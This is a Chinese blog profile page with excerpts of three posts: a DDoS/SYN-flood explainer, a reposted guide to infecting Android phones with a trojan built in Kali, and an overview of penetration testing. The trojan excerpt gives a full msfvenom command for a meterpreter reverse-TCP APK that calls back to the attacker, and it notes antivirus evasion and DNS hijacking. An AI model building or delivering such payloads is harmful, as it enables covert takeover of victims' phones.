- 博客(3)
- 收藏
- 关注
RSS订阅转载 什么是DDOS 攻击？常见的DDOS攻击有哪些？
如果想继续提供资源，那么酒店应该提升自己的资源量，服务器也是同样的道理。Syn flood攻击就是让客户端不返回最后的ACK包，这就形成了半开连接，TCP半开连接是指发送或者接受了TCP连接请求,等待对方应答的状态,半开连接状态需要占用系统资源以等待对方应答，半开连接数达到上限，无法建立新的连接，从而造成拒绝服务攻击。拒绝服务攻击造成的危害是比较大的，本质是对有限资源的无限制的占用所造成的，所以在这方面需要限制每个不可信任的资源使用中的分配额度，或者提高系统的有限资源等方式来防范拒绝服务攻击。
2024-06-24 01:50:34
26
转载 Kali利用Android木马渗透手机（高级篇）
msfvenom -p android/meterpreter/reverse_tcp LHOST=kali本机ip LPORT=监听端口 R > /放置的目录/文件名.apk。可以看到木马是没有报毒的，至少在MIUI11下是没有提示有病毒，并且申请了很多的权限。内网渗透，非公网IP上线。上面这张图是目标上线后的样子，当目标上线后我们就可以停止DNS劫持了。
2024-06-24 00:31:38
549
1
原创 什么是渗透测试？
但他们还会进行不借助工具的测试，利用最新攻击技术的知识，思考越过安全屏障的方法，旨在提供比漏洞评估（即自动化测试）更深入的测试。以下是手动渗透测试相较于自动测试的几个优势： 手动渗透测试 渗透测试能够发现未列入常用列表（例如， OWASP Top 10）的漏洞和弱点，并测试自动测试可能忽略的业务逻辑（例如，数据验证、完整性检查）。总之，手动渗透测试人员都是“像对手一样思考”的专家，可以使用脚本例程的自动化测试解决方案无法做到的方式分析数据，锁定攻击目标并测试系统和网站。渗透测试没有通用的解决方案。
2024-06-23 23:31:13
913
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人